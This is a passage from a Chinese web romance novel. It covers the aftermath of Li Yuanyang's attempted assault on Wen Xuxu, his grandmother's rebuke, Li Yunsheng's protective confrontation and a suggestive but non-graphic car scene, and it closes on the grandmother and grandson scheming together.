她喉间残留的呜咽渐渐平息,却仍贪恋地汲取着他身上的气息,仿佛要将这安全感刻入骨髓。 她知道自己并非孤身一人,那个总在暗处为她扫清障碍的男人,此刻正真实地拥着她,用体温驱散她所有的恐惧。 周围佣人的目光如芒刺在背,窃窃私语声在寂静中愈发清晰。 “看温小姐那模样,怕是远洋对她……” “黎先生来得真及时……” “这黎家怕是要掀起大风浪了……” “远航少爷的手才被掰断呢,远洋少爷怎么又要去招惹她了……”议论如暗潮涌动,温栩栩却浑然不觉。 她只觉黎云笙的怀抱是这世上最安全的港湾,哪怕外头是狂风骤雨,只要在他怀中,她便有了直面一切的勇气。 她蹭了蹭他胸膛,动作带着几分孩子气的依恋,声音闷闷地响起:“是黎远洋……他、他欺负我……”她不必说全,不必解释,只因她知道,黎云笙懂。 黎云笙眸光冰冷的握住温栩栩的手缓缓开口道:“我会让他付出代价。” …… 黎家老宅的偏厅内,昏暗的灯光将满地狼藉映得愈发刺眼。 黎远洋蜷缩在地,双手死死捂住下腹,指缝间渗出的冷汗浸湿了衬衫。 他面容扭曲,五官因剧痛挤成一团,喉间发出的惨叫如濒死的野兽般嘶哑,在寂静的房间里回荡不休。 那处被温栩栩狠踹的敏感部位仿佛被毒蛇咬中要害,剧痛如电流般从下腹窜至全身,每根神经都在尖叫。 他蜷成虾米状,身体不受控制地抽搐,仿佛被无形的手反复碾压着最脆弱的部位。 地板上散落着被撕碎的衣料,皮带歪斜地躺在一旁,无声诉说着方才的混乱。 他试图用呻吟求饶:“疼……疼死了……快叫医生!”声音却破碎如风中残烛,带着浓重的哭腔,全然失了往日纨绔的嚣张。 佣人们闻声冲入房间时,皆被眼前的景象骇得倒抽冷气。 有人慌忙去扶,却被黎远洋猛地甩开:“别碰我!滚开!”他挣扎着翻滚,却因剧痛再次蜷缩,仿佛被钉在地上的困兽。 空气中弥漫着汗液与痛楚的气息,混着他身上残留的酒气,令人作呕。 黎远洋的指甲深深抠进地板缝隙,指尖泛白,青筋暴起,喉咙里发出断断续续的呜咽,时而夹杂着咒骂:“温栩栩……那个小贱人……我定要让她……”话音未落,剧痛又如潮水般涌来,逼得他再度蜷成一团,咒骂声噎在喉间,化作更凄厉的哀嚎。 此时,黎老太太在管家的搀扶下匆匆踏入房间。她拄着雕花拐杖,银发在灯光下泛着冷光,脸色阴沉如暴风雨前的乌云。 目睹黎远洋狼狈打滚的模样,她瞳孔猛地收缩,拐杖重重敲击地面,发出“咚咚”的闷响,仿佛敲在每个人的心上。“混账东西!”她厉声呵斥,声音裹挟着雷霆之怒,震得空气都微微颤动。 黎老太太目光扫过满地狼藉,落在黎远洋扭曲的面容上,眼底的怒火几乎要将人灼伤。 她深知此事是黎远洋做得不对,前脚她刚费尽心思拉拢温栩栩,试图借此稳固黎云笙的权势,后脚这蠢货便搞出如此丑闻! 此刻黎远洋的丑态不仅让黎家颜面扫地,更彻底打乱了她的棋局。 她紧抿嘴唇,皱纹在嘴角堆叠,心中翻涌的不仅是愤怒,更有对计划崩坏的焦灼与不甘。 “还不去请医生!”黎老太太转向僵立的佣人,声音如寒冰刺骨。 佣人们如梦初醒,慌忙退下,脚步慌乱地奔向门外。 她强压怒火,走近黎远洋,却在他身旁驻足,并未伸手搀扶。 居高临下地俯视着这个向来被她纵容的孙子,她眼中掠过一丝厌弃:“你平日流连花丛也就罢了,竟糊涂到对温栩栩动手!她如今是黎云笙的人,你发什么疯要招惹温栩栩!” 黎老太太的声音压低“我费尽心思铺垫,你倒好,一脚踹碎了我的全盘计划!”她拐杖再次重重一敲,震得黎远洋浑身一颤,哀嚎声更甚。 黎远洋疼得涕泪横流,却仍挣扎着辩解:“奶奶,是温栩栩她……她故意勾引我!我、我只是……” 话音未落,黎老太太冷声截断:“勾引?她若真想勾引,又怎会衣衫不整地跑出去哭诉?你当旁人都是瞎子,看不出这是你色欲熏心,强人所难?”她眼中寒光闪烁,语气愈发凌厉,“你此番作为,不仅让黎家沦为笑柄,更让黎云笙心生芥蒂!他素来护短,这件事若处理不当,你日后在家族中如何立足?你也想你的手跟你哥哥一样全都被黎云笙弄断吗!” 黎远洋闻言,剧痛中又添惧意,冷汗如雨下。 他这才惊觉,自己一时的色胆包天,竟酿成如此严重的后果。 黎老太太的斥责如利刃剜心,他只得蜷缩着求饶:“奶奶,我错了……求您救救我,叫医生……疼啊!”呻吟声愈发凄厉,在房间里回荡,却无人再敢轻易靠近。 “你自己没脑子,还指望谁能救你!” “你到底是怎么想的!” “黎远航人都还在医院没出来!你就敢去招惹温栩栩!到底谁给你的胆子!” 黎老太太是真的被气到了。 黎远航和黎远洋算是在她身边长大的,结果这一个两个的全都犯蠢去动黎云笙的人。 这不是把她架到火上烤吗! 她现在本来就算是跟黎云笙已经彻底撕破脸了,现在她带大的两个孙子都不争气,一个比一个没出息,看到温栩栩就发疯。 怎么?世界这么大,难道只有一个温栩栩足够漂亮?其它女人都是摆设不成? 黎老太太看着还在打滚呼痛的黎远洋,只觉得一口气憋在自己胸口,想骂却也骂不出来,就这么堵的厉害。 第1171章 就是朵黑莲花 黎远洋瘫倒在地,整张脸涨红得仿佛要滴出血来,五官因剧痛挤作一团,扭曲得如同狰狞的恶鬼。 冷汗如断线珠子般滚落,浸透了他昂贵的衬衫,湿漉漉地贴在后背,勾勒出他因疼痛而剧烈起伏的胸膛。 他蜷缩成虾米状,双手死死捂住下腹,指缝间渗出的冷汗在灯光下泛着诡异的油光。喉间发出的惨叫时而如濒死的野兽嘶吼,时而化作破碎的呜咽,在寂静的房间里回荡不休。 那处被温栩栩狠踹的敏感部位仿佛被烈火灼烧,剧痛如毒蛇啃噬骨髓,每一声呻吟都裹挟着浓重的恨意:“温栩栩……那个小贱人……我要让她生不如死!” 他此刻哪有心思听黎老太太的斥责?满脑子都是对温栩栩的怨毒。 疼痛与耻辱交织成一张毒网,将他彻底笼罩。 他咬着牙,从齿缝间挤出怨毒的咒骂:“怪只怪她太狐媚!长成那个样子就是要被男人侵犯的!” 这扭曲的逻辑在他脑中疯狂滋长,仿佛自己才是受害者,而温栩栩的反抗成了不可饶恕的罪孽。 不得不说,黎远洋与黎远航这对亲兄弟,在这件事上竟如出一辙,永远将过错推到他人身上,仿佛自己永远是纯洁无瑕的受害者。 他们会想到的错的是对方而不是自己。 他们想侵犯非礼温栩栩,温栩栩就应该怯懦的由着他们非礼,不能躲开,这样就算是犯了他们的忌讳。 他们根深蒂固的傲慢,让他们认定,他们想侵犯非礼温栩栩,温栩栩就该怯懦地任其摆布,若敢躲开,便是犯了他们的忌讳。 这种话若说出口,简直荒谬得令人齿冷。可这两兄弟偏偏不以为耻,反以为理所当然。此刻听到黎老太太的指责,黎远洋边打滚边爆发出怒骂,声音因剧痛而嘶哑,却仍带着不容置疑的偏执。 “奶奶!这能怪我吗?怪只怪温栩栩长得太好看!是个男人都会把持不住!她长得这么妖艳还出来抛头露面做什么?就该被关在家里面,乖乖当有钱人的玩物才对!她不勾引我,我又怎会犯错?” 这混账话一出,空气仿佛凝固了片刻。 美貌竟成了原罪,反抗竟成了该被锁入牢笼的理由? 这何止是亡国的可笑言论,简直是践踏人伦的疯言疯语! 黎远洋却浑然不觉,他痛得满地打滚,眼中却燃着扭曲的怒火,仿佛温栩栩的反抗是对他男性尊严的彻底践踏。 黎老太太闻言,脸色骤然阴沉得能滴出水来。 “混账东西!你到现在还在颠倒黑白!”她厉声呵斥,声音裹挟着雷霆之怒,震得空气都微微发颤,“你口口声声说‘男人把持不住’,难道女人的美貌就该成为被侵犯的理由?若按你的逻辑,路上所有美貌女子都该任你欺凌,反抗便是错?” 黎老太太的声音陡然拔高,字字如利刃剜心,“你这种想法,与禽兽有什么区别?更何况,温栩栩什么时候勾引过你?她衣衫不整跑出去哭诉,分明是你强人所难!你当旁人都是瞎子,看不出真相?” 她拐杖再次重重一敲,震得黎远洋浑身一颤,哀嚎声更甚。 黎远洋疼得涕泪横流,却仍挣扎着辩解:“奶奶,我没错……是她先挑衅我的!她若乖乖顺从,我又怎会……” 话音未落,黎老太太冷声截断:“顺从?你这种德行,若不改,迟早会毁了整个黎家!”她眼中寒光闪烁,语气愈发凌厉。 黎远洋被斥得哑口无言,剧痛与羞愤交织,让他只能蜷缩着呻吟求饶。 黎老太太被黎远洋的冥顽不灵气得面色涨红,胸口剧烈起伏,仿佛要将淤积的怒火尽数喷发。 她紧握雕花拐杖的手微微颤抖,银发在昏黄的吊灯下泛着冷光,目光如刀锋般剜向蜷缩在地的孙子:“你到底怎么想的!你哥十根手指都因为侵犯温栩栩被黎云笙弄断了你不知道吗!”她厉声嘶吼,声音在空旷的厅堂里回荡,震得雕花窗棂上的流苏簌簌作响。 “你不肯道歉,黎云笙就能弄断你的手指,让你再也没办法碰女人!你如果还有理智,现在就去给温栩栩道歉!”黎老太太忍无可忍的斥责怒骂,想把黎远洋喊醒。 黎远洋却拧着死理儿,死活不肯松口。 他瘫倒在地,冷汗浸透的衬衫紧贴脊背,下腹疼痛让他每一寸肌肉都在抽搐。 此刻他满心都是对身体的担忧,只想立刻奔赴男科医院,哪还有心思去理会所谓的“道歉”? 他咬着牙,从齿缝间挤出怨毒的低吼:“我错哪儿了?我没错!她自己要来老宅被我看到的能怪我吗!千错万错都是温栩栩这个绿茶的错!”话语间,他瞪向蜷在黎云笙怀里的温栩栩,眼底恨意翻涌,仿佛要将她生吞活剥。 “绿茶”二字如利刃刺入温栩栩耳中。 她瑟缩在黎云笙怀里,纤细的身躯微微颤抖,仿佛被寒风穿透的落叶。她仰起脸,泪光在眼眶里打转,声音轻得如风中絮语,却足以让在场几人听得清清楚楚:“我怕。”那声音带着哭腔,带着无尽的委屈,仿佛一只受惊的雏鸟,将所有的恐惧与无助尽数倾泻。 事实上温栩栩没有那么怕,说白了就是演出了自己很害怕的模样,也确实是故意的。 黎云笙垂眸凝视她,黑眸深处涌动着骇人的狠戾与厌恶,冷意如冰锥般刺向黎远洋。 仅这一瞥,便让黎远洋浑身冷汗直冒,仿佛坠入万年冰窟。 他从未见过黎云笙的眼神如此可怖,那眸光里藏着足以将人碾碎的暴戾,仿佛下一秒便会化作实质的利刃,将他彻底撕碎。 黎远洋是见识了温栩栩这睁眼说瞎话的无敌技能。上一秒她还与他纠缠,媚眼如丝,此刻却化身毒蝎,给了他致命一击。 他痛得满地打滚,却仍挣扎着咆哮:“温栩栩你别在这里给我演戏装蒜!你分明故意勾引我,现在倒装起可怜来了!” 第1172章 脱掉 黎远洋此刻嘶吼着,声音因剧痛而嘶哑,却仍带着不容置疑的偏执。 他认定自己才是受害者,而温栩栩的反抗与哭诉,不过是精心设计的陷阱。 黎老太太见状,怒意更甚。她拄着拐杖,踉跄着上前两步,拐杖重重敲击地面,发出沉闷的“咚咚”声,每一下都仿佛敲在黎远洋的心上:“混账东西!你到现在还在颠倒黑白!” 黎远洋疼得涕泪横流,却仍死不悔改。 他蜷缩着,双手死死捂住下腹,呻吟声愈发凄厉:“奶奶,我没错……是她先挑衅我的!” 门外廊下,黎云笙揽着温栩栩静静而立。 他黑眸沉如寒潭,冷眼旁观房内闹剧,指尖轻抚她发梢,无声安抚。 黎云笙的介入,意味着此事将彻底脱离黎老太太的掌控,但此刻她已无力阻拦,只能暗自咬牙,恨黎远洋成事不足。 房内,黎远洋的哀嚎仍在继续,黎老太太的怒火却已转为冷冽的审视。 她深知,这场闹剧背后,是家族权势的博弈与腐朽观念的碰撞。而那个蜷缩在地、痛不欲生的孙子,终究成了这场棋局中第一个被撕开的裂口,暴露出黎家深藏的暗疮。 此时,黎云笙终于开口。 他声音冷得仿佛淬过冰,每一个字都带着不容置疑的威慑:“黎远洋,道歉。” 他揽着温栩栩,缓步踏入厅堂,皮鞋敲击地面的声响,在寂静中显得格外清晰。 他目光扫过黎远洋扭曲的面容,黑眸深处涌动着骇人的风暴,“若你现在不道歉,后果自负。”话语间,他指尖轻抚温栩栩颤抖的肩。 黎远洋闻言,剧痛中又添惧意。 他抬头望向黎云笙,对上那双冷冽的眸子,浑身陡然僵住。 他知道黎云笙的手段,更清楚自己绝非他的对手。但剧痛与耻辱交织,让他仍存着一丝不甘:“我没错……凭什么要我道歉!”他咬着牙,声音带着颤抖,却仍不肯低头。 黎云笙唇角勾起一抹讽笑,冷意更甚:“凭你动了不该动的人。” 黎老太太也是觉得丢脸,只能面色僵硬的看着两人,半晌说不出一句话来。 黎远洋面对黎老太太还能反驳几句,但此刻对上黎云笙竟然立刻整个人都蔫了。 显然也是想起黎远航被弄断手的事情。 可偏偏他觉得丢脸,说不出道歉的话,又要污蔑温栩栩。 “温栩栩你别在这里给我演戏装蒜!”黎远洋嘶吼着。 “我装什么了?”温栩栩像是憋了气,一副被欺辱的无地自容想绝境反抗的模样,猛地自黎云笙怀中站起。 她满脸泪意,泪珠如碎钻般滚落,顺着脸颊滴在昂贵的礼服上,晕开朵朵深色水痕。 她仰起脸,目光灼灼直视黎远洋,声音颤抖却带着不容置疑的力度:“我从书房出来想快些回家,难道不是你将我强行掳进房的吗?”她质问着,指尖攥紧裙摆,指节因用力而泛白,仿佛在压抑着极大的愤怒与委屈。 黎远洋闻言,喉头一哽,哑口无言。 他当然知道,温栩栩这话句句属实。 他确实在堵住她,强行将她拽进偏房。当时他色欲熏心,满脑子都是将她占为己有的念头,哪还顾得上其他? 此刻被当众揭穿,他脸上一阵青一阵红,仿佛被人狠狠扇了一耳光。 温栩栩见他不语,深吸一口气,声音愈发凌厉:“我身上的衣服……不是你扯坏的吗?”她猛地扯开领口,露出白皙脖颈上几道狰狞的红痕,礼服领口处的丝线凌乱断裂,仿佛被野兽撕裂的伤口。那红痕在灯光下泛着诡异的暗红,触目惊心。 她泪眼朦胧,却仍强撑着挺直脊背,仿佛一只受伤的幼兽,倔强地亮出自己的伤口以示抗争。 温栩栩的攻势未停,她向前两步,逼近黎远洋,目光如炬:“如果你还要狡辩,找人查验我衣服上的指纹就是!”她一字一顿,声音冷如寒冰,带着玉石俱焚的决绝,“你扯我衣服时留下的指纹,我挣扎时抓你手臂的指甲痕,甚至这房间里若有监控,都能还原真相!”她的话语如连珠炮般掷出,每一句都精准击中黎远洋的要害。 他瘫倒在地,面色惨白,冷汗如断线珠子般滚落,浸透了他昂贵的衬衫,湿漉漉地贴在后背,勾勒出他因疼痛而剧烈起伏的胸膛。喉间发出的惨叫时而如濒死的野兽嘶吼,时而化作破碎的呜咽,在寂静的房间里回荡不休。 他哑口无言,心如死灰。 是,温栩栩这可是半点谎都没撒,可事实哪儿是这么回事? 他当然知道,自己才是那个罪魁祸首,但此刻,他却被自己的丑行彻底困住了。 众人回过味儿来,自然将错处都安到黎远洋身上。 厅堂内,众人虽未言语,但目光却如芒刺般扎在黎远洋身上。 黎老太太眼中怒火中烧,却带着几分恨铁不成钢的冷意。 黎家其他人蹙眉侧目,交头接耳,虽压低了声音,但“德行不端”“色胆包天”等字眼仍清晰可闻。就连仆人们也偷偷交换眼神,目光中满是鄙夷与不屑。 一个大男人,竟瞧不上自己弟媳,把弟媳惹哭不算,还意图强迫她发生关系,这简直是禽兽不如的行径! 众人虽未开口,但黎远洋就是从他们脸上读出了这句话,一字一句,如利刃剜心,让他羞愤得几乎想找个地缝钻进去。 黎云笙始终冷眼旁观,黑眸沉如寒潭。 此刻,他揽住温栩栩颤抖的肩,指尖轻抚她发梢,无声安抚。 黎老太太还想和稀泥说几句好话缓和下气氛,岂料黎云笙目光落到黎远洋身上,却并未多说什么,目光在他的手上多停留了几秒,那样淡然的眼神却让黎远洋毛骨悚然。 他甚至有一种但凡今天温栩栩不在现场,黎云笙一定会毁掉弄断他手指的错觉。 黎云笙不顾黎老太太的阻拦带走了温栩栩,甚至连头都没有回。 …… 车厢内弥漫着诡异的寂静,黎云笙的面色沉如寒潭,冷眸如刀锋般锁在温栩栩的脸上,声音裹挟着不容置疑的威慑:“脱掉。” 第1173章 亲吻 温栩栩神色一僵,喉间不自觉地吞咽,指尖微微发颤。 她望着他,声音带着几分迟疑与无措:“黎云笙……”那三个字裹着颤音,仿佛带着某种无声的乞求。 黎云笙的瞳孔猛地收缩,冷意更甚,声音如寒冰刺骨:“把衣服脱掉。”每一个字都带着不容置疑的命令,仿佛要将她最后的防线彻底击溃。 温栩栩的心跳如擂鼓,慌乱在胸腔里横冲直撞。 她深知,在黎远洋面前她可以撒泼,可以机锋相对,但在这个真正的“靠山”面前,她却不敢装得太过分。 她咬着下唇,指尖僵硬的抚上礼服领口,缓慢而艰难地解开纽扣。 每一颗纽扣的松动,都仿佛剥落一层尊严,露出她藏在柔美皮囊下的忐忑与算计。 车厢内的空气仿佛凝固,明明窗外是盛夏的闷热,热风裹挟着燥意拂过车窗,她却只觉浑身发冷, 心底发寒,仿佛坠入冰窖。那冷意从脊背蔓延,直至指尖,让她每一个动作都带着颤抖的滞涩。 温栩栩的皮肤极白,是那种晒不黑的冷白皮,在车厢昏暗的灯光下,竟泛着莹莹的光泽,仿佛一块剔透的白玉,散发着清冷而诱人的光泽。 她脱去礼服,仅着单薄的里衣,肌肤在光影中泛着柔和的珍珠光泽,仿佛月光倾泻而下,为她笼上一层朦胧的银纱。 那肌肤的细腻与光泽,在昏暗的车厢内格外刺目,仿佛带着某种无声的邀请,让黎云笙的眸光深了几分。 他喉结滚动,呼吸不自觉地加重,猛地伸手将人扯入怀中。 温栩栩猝不及防,跌入他坚硬的胸膛,鼻息间瞬间充斥着他身上冷冽又灼烫的气息。 他呼出的气息喷洒在她颈项间,带着滚烫的温度,引的她一阵战栗,仿佛被电流穿透。 男人声音沙哑,带着压抑的暗涌,指尖抚上她锁骨,缓缓下移:“她碰了哪里。”温栩栩身体愈发僵硬,仿佛被无形的绳索捆住。 她仰头望着他,睫毛轻颤,声音带着几分慌乱:“只撕了衣服……还没来得及做其他的。”黎云笙的呼吸又重了几分,语气不悦,带着危险的试探:“你还想跟他做些别的?”他指尖突然用力,捏住她下巴,迫使她直视自己。 温栩栩的瞳孔猛地收缩,心跳几乎停滞。 他吻上她的耳垂,轻咬着,声音如砂纸摩擦般粗哑:“说话。”温栩栩的耳垂瞬间泛起潮红,那酥麻感如电流般蔓延至全身。她跨坐在他腿上,双臂揽住他的脖子,声音带着几分颤抖的娇柔:“我没想跟他做别的,我逃出来了……” 她凑上去亲亲他的脸,唇瓣轻触他冷峻的面颊,带着安抚的意味,“我是绝不会做出背叛你的事。”那声音带着哭腔,带着委屈,又带着几分刻意的讨好,仿佛一只受惊的幼兽,在强势的猎人面前示弱求存。 清冷的月色越过车窗倾泻而入,如银纱般笼在她脸上,为她添了几分娇弱无害的朦胧感。 她垂眸,睫毛在眼下投下细碎的阴影,仿佛藏着无尽的委屈与柔顺。 黎云笙凝视着她,黑眸深处涌动着复杂的情绪,仿佛有风暴在酝酿。他伸手抚上她的脸,指尖摩挲她细腻的肌肤,声音带着几分沙哑的试探:“继续吗。” 温栩栩闻言,心跳猛地漏了一拍。 她望着他,喉间发干,双腿发软。 她以为他意有所指,指尖微微发抖,竟去脱他的外套。 黎云笙挑眉,并未制止她,只是冷眼旁观,黑眸中暗潮涌动。 温栩栩脱掉他的外套,手抖着去解他衬衫的扣子。每一颗扣子的解开,都仿佛掀开一层禁忌,露出他精壮的胸膛。 她指尖发颤,呼吸急促,仿佛被无形的欲望驱使。黎云笙的喉结再次滚动,呼吸愈发粗重,却仍保持着危险的沉默。 温栩栩解到第三颗扣子时,他猛地皱眉,握住她的手。 他指尖的温度灼热,带着不容置疑的掌控感。 温栩栩浑身一震,抬头望着他,眼中带着几分迷茫与慌乱:“你要做什么。” 黎云笙凝视她,黑眸中暗潮汹涌,声音带着几分玩味的冷意:“不是要继续吗?” 温栩栩的瞳孔猛地收缩,喉间发干。 她这才意识到自己误会了他的意思,脸上瞬间泛起滚烫的羞红。她咬着下唇,声音带着几分无措:“你……你的意思是?” 黎云笙挑眉,语气带着几分嘲讽:“我想你的听力和理解能力应该没有问题。”温栩栩的脸更红了,仿佛熟透的苹果。 她低下头,指尖绞着衣角,声音如蚊呐:“我……我理解错了。” 黎云笙开口问道:“我那句‘继续’?是带有疑问的,我再问你继续做什么,而不是陈述句的让你真的‘继续’。” 他的指尖突然抚上她的腰,用力一捏,温栩栩浑身猛地一颤,发出一声低低的惊呼。 黎云笙的呼吸喷在她耳畔,带着滚烫的温度:“不过,若你真想继续……”他话音未落,突然吻上她的唇。 温栩栩的呼吸瞬间停滞,唇瓣被他霸道地侵占。他的吻如狂风暴雨般落下,带着不容抗拒的强势,却又夹杂着几分惩罚的意味。 她僵在他怀中,指尖无措地揪着他衬衫,心跳如擂鼓。 他舌尖撬开她的齿关,深入探索,带着灼烫的温度,引的她一阵战栗。 温栩栩的身体渐渐软化,被他吻得晕头转向,理智如潮水般退去。 她不自觉地回应着他,唇舌纠缠间,发出细碎的呜咽,仿佛沉溺于汹涌的暗潮。 黎云笙的手在她腰际游走,指尖抚过她细腻的肌肤,引的她阵阵颤栗。 他另一只手扣住她的后脑,加深这个吻,仿佛要将她彻底融入骨血。 车厢内的温度急剧攀升,暧昧的气息如潮水般弥漫。 温栩栩的里衣被他扯开,露出大片白皙的肌肤,在月光下泛着诱人的光泽。 黎云笙的吻沿着她的颈项向下,流连在她锁骨与胸前的肌肤上。 第1174章 只是想让你换上我的衣服 黎云笙在她脖颈边留下点点红痕,如红梅绽放在雪地。 温栩栩的呼吸愈发急促,身体如火烧般滚烫,却又带着一丝无措的慌乱。 她揽着他的脖子,声音带着哭腔的颤抖:“黎云笙……别……”那声音带着几分乞求,却又更像是欲拒还迎的邀请。 黎云笙的黑眸中燃起灼灼的火焰,他抬头望着她,声音沙哑如砂纸:“别什么?” 温栩栩的睫毛沾着泪珠,眼中泛着水光,却又带着几分迷离的欲望。 她咬着下唇,声音如风中絮语:“别在这里……会被人看到……” 黎云笙的唇角勾起一抹笑,冷意中透着危险的诱惑:“怕什么?有我在。”他话音未落,突然将她压倒在车座上,身体重重覆上她。温栩栩的惊呼被他的吻堵在喉间,化作一声绵长的呜咽。 他的手掌抚上她纤细的腰肢,指尖缓缓下移,引的她身体绷紧,颤抖如风中落叶。 温栩栩的双手抵在他胸膛,指尖触碰着他灼烫的肌肤,心跳如擂鼓。 黎云笙的吻愈发狂烈,带着要将她彻底吞噬的霸道。 她在他怀中颤抖,回应着他的吻,指尖却悄然抚上他后颈,带着几分刻意的撩拨。 黎云笙的呼吸愈发粗重,黑眸中欲火翻涌,可即便如此也没有撕开最后一道防线。 他心里清楚,还没到那一步,还不能到那一步。 他还有理智。 “还继续吗?”黎云笙稍稍放开她,嗓音裹着粗重的喘息,指尖仍流连在她颈间。温栩栩脸颊绯红,眼神迷离如浸了水雾,好半晌说不出话。 她整张脸仿佛被烈阳灼烤过,红透了,呼吸急促得仿佛要窒息,心跳如擂鼓般在胸腔里横冲直撞,喉咙里堵着一团滚烫的气,连声音都哽在喉间发不出。 黎云笙微微眯起黑眸,危险的气息在狭小的车厢内蔓延,仿佛一只蓄势待发的猎豹,“看来你是真的很想跟我继续。” “不不不……不是的……”温栩栩慌乱地摇头,声音带着破碎的颤音,双手无措地揪住他胸前的衬衫。 她只觉得脑中一片混沌,仿佛被情欲的浪潮裹挟,又仿佛被自己的自作多情羞得无地自容,连呼吸都滞涩得发疼。 黎云笙的唇角勾起一抹玩味的弧度,突然俯身,再次吻住她颤抖的唇。 温栩栩的瞳孔猛地收缩,身体僵了一瞬,随即被他汹涌的吻吞没。 这一次,他的吻不再带着惩罚的冷厉,反而多了几分缠绵的温柔,舌尖轻轻舔舐她唇瓣,仿佛在品尝最珍馐的美味。 她不自觉地闭上眼,睫毛轻颤,双手缓缓攀上他的脖颈,指尖陷入他颈后紧绷的肌肉,回应着他的攻势。 车厢内的温度攀升至顶点,暧昧的气息如潮水般涌动。 温栩栩的呼吸愈发急促,身体如火烧般滚烫,却又带着一丝无措的慌乱。 然而,就在情欲即将冲破临界点时,温栩栩的呼吸突然变得绵长而均匀。黎云笙的动作猛地僵住,黑眸中闪过一抹愕然。 他低头望去,只见她已然沉沉睡去,脸颊仍泛着未褪的红晕,睫毛在眼下投下细碎的阴影,仿佛累极的幼兽蜷缩在他怀中。 他喉间发出一声低笑,带着一丝无奈与宠溺。原来,她并非欲拒还迎,而是真的疲惫至极。 他伸手抚上她的脸,指尖摩挲她细腻的肌肤,声音带着几分沙哑的温柔:“我只是想让你换上我的衣服。” 让她脱衣服本质也没想做这些,不过她这样邀请了,他也没有控住自己的情欲。 他唇角勾起浅淡的弧度,却并不明显,只看她的眼神似乎多了那么一分柔意。 他的短腿猫的确有些可爱。迟疑片刻,目光落在她的腿上,不,并不是短腿猫,是一只长腿奶猫。 车内暖黄的灯光透过车窗的薄纱洒落,为温栩栩笼上一层朦胧的柔光。她的肌肤在光影中泛着珍珠般的光泽,仿佛月光倾泻而下,为她镀上一层银纱。 睡梦中的她卸下了所有防备,眉眼舒展,褪去了清醒时的机锋与紧绷,只剩下纯粹的柔美与脆弱。 黎云笙凝视着她,黑眸中暗潮涌动,复杂的情绪交织。 他伸手将她散落的发丝别至耳后,指尖触到她耳垂时,她无意识地轻颤,发出一声绵软的呓语。 黎云笙的喉结滚动,呼吸微乱,却终究未再动作。他轻轻将她揽入怀中,调整姿势让她睡得更舒适,自己则倚在车座,闭目养神。 窗外的霓虹光影流转,透过车窗折射在温栩栩身上,光影如流水般在她肌肤上流淌,时明时暗,仿佛为她披上斑斓的纱衣。 她睡得极沉,呼吸均匀,偶尔发出细微的声响,仿佛沉浸在无梦的深眠中。 黎云笙睁开眼,目光落在她身上,黑眸中褪去了方才的欲火,取而代之的是一种难以言喻的柔意。 他伸手将她滑落的外套往上拢了拢,遮住她露出的肩头,指尖触到她肌肤时,她无意识地往他怀中蹭了蹭,像一只寻得温暖港湾的猫咪。 黎云笙的唇角勾起一抹极浅的笑,转瞬即逝,却带着从未有过的温柔。 车内寂静无声,唯有两人交缠的呼吸声交织成绵长的旋律。 温栩栩睡颜恬静,仿佛卸下了所有防备与算计,只剩下纯粹的柔美与脆弱。 黎云笙凝视着她,黑眸深邃如墨,心中却涌起一种陌生的情绪。 他伸手轻抚她发间,指尖触碰她柔软的鬓发,动作轻柔得仿佛怕惊碎她的梦境。 窗外偶尔有车辆驶过,车灯的光晕掠过车内,为温栩栩的脸颊添上转瞬即逝的光影,她睫羽轻颤,却始终未醒。 黎云笙的喉间发出一声低叹,带着几分无奈与宠溺。 他的确想让她换上自己的衣服,却终究不忍打扰她的安眠。他揽紧她,闭目假寐,心跳却因她近在咫尺的呼吸而微微失序。 …… 黎家老宅。 “你到底对温栩栩做了什么?”黎老太太的声音如淬了冰,茶盏重重磕在案几上,溅出的茶水在青花瓷盘晕开深色水渍。 第1175章 求生不得,求死不能 她枯瘦的手指攥紧龙头拐杖,杖头雕纹在暗处泛着冷光,目光如利刃剜向黎远洋,“你在外头胡天胡地玩什么女人我都不管,可你怎么能把手伸到温栩栩身上!” 黎远洋喉头一哽,方才的羞愤猛地涌上来。他踉跄后退半步,后背撞上黄花梨木的博古架,架上瓷瓶晃了晃,发出清脆的轻响。“我玩什么啊,是她玩我!” 他猛地抬头,眼眶赤红,声音带着失控的嘶哑,“我还没怎么着她呢,她就把我踹成这样了!”他扯开领口,露出锁骨下方一道青紫的淤痕,像一道狰狞的烙印,“奶奶你真当她是什么可怜小白花呢?她心思深着呢,满脑子都是算计人!” 厅堂内陷入死寂,唯有檀香依旧袅袅。 黎老太太凝视着孙子失控的模样,浑浊的眼中闪过一丝冷意。 她当然知道温栩栩那丫头不简单,上次交锋时,那姑娘明明吓得脸色发白,手抖得连茶盏都端不稳,可出口的话却句句带刺,字字如刀。 那种外强中干的姿态,分明是刻意演出来的。 可黎远洋这蠢货,竟被那点拙劣的演技迷了心窍,还妄图给自己编造谎话开脱。 “哼,我看是你往她身上泼脏水。”黎老太太的拐杖重重敲了敲地面,声音沉得像要压碎地砖,“你有多爱乱来胡闹我能不知道?整日在外头拈花惹草,闹出多少荒唐事!如今竟把主意打到温栩栩头上,我看你就是瞧着她是黎云笙的人,这才想动她!” 黎远洋的脸瞬间涨成猪肝色,指甲深深掐进掌心。 被戳中心事,他像只被踩了尾巴的猫,猛地窜起来:“奶奶您这话什么意思!我……我不过是看她不顺眼!”他结结巴巴地狡辩,喉结上下滚动,眼神却不由自主地飘向厅外,那里仿佛还残留着温栩栩身上那股清冽的茉莉香。 那女人确实有意思,明明吓得发抖,偏要梗着脖子顶撞人,那双眼睛像浸了墨的潭水,勾得人心里发痒。 他舔了舔干裂的唇,脑海中浮现出她故意在他面前“慌乱”跌倒时,裙摆下若隐若现的纤细脚踝…… “你又想什么乱七八糟的!”黎老太太的目光如鹰隼,瞬间洞穿孙子的心思。 她端起茶盏抿了一口,滚烫的茶水在喉间滚过,烫得她皱起了眉,“我警告你,不准再动她。”拐杖再次重重顿地,震得黎远洋浑身一抖,“她现在是我的人,以后要替我做事。你想动她也等黎云笙去了以后。” 老太太的声音陡然放轻,像是怕惊动了什么,“等到那时,你想怎样都随你,只一点,这样的女人不准进我黎家的门,在外面随你怎么折腾。” 黎远洋的瞳孔猛地收缩,呼吸急促起来。 他盯着老太太阴晴不定的脸,舌尖在口腔里打了个转,喉间发出压抑的轻笑:“那我就等着黎云笙早点玩完。”他眯起眼,仿佛已经看到黎云笙倒下后,温栩栩那副柔若无骨的身子在他身下颤抖的模样。 那绿茶婊装得再像,骨子里不还是个浪荡货? 到时候,定要让她跪着求他,看她还能不能端着那副清高模样对他茶里茶气…… 黎老太太意味不明的笑了笑,褶皱纵横的脸上泛起诡谲的光。 她垂眸盯着茶盏中晃动的倒影,指尖无意识地摩挲着拐杖的龙头雕纹。 黎云笙那孩子……确实太冷心了。 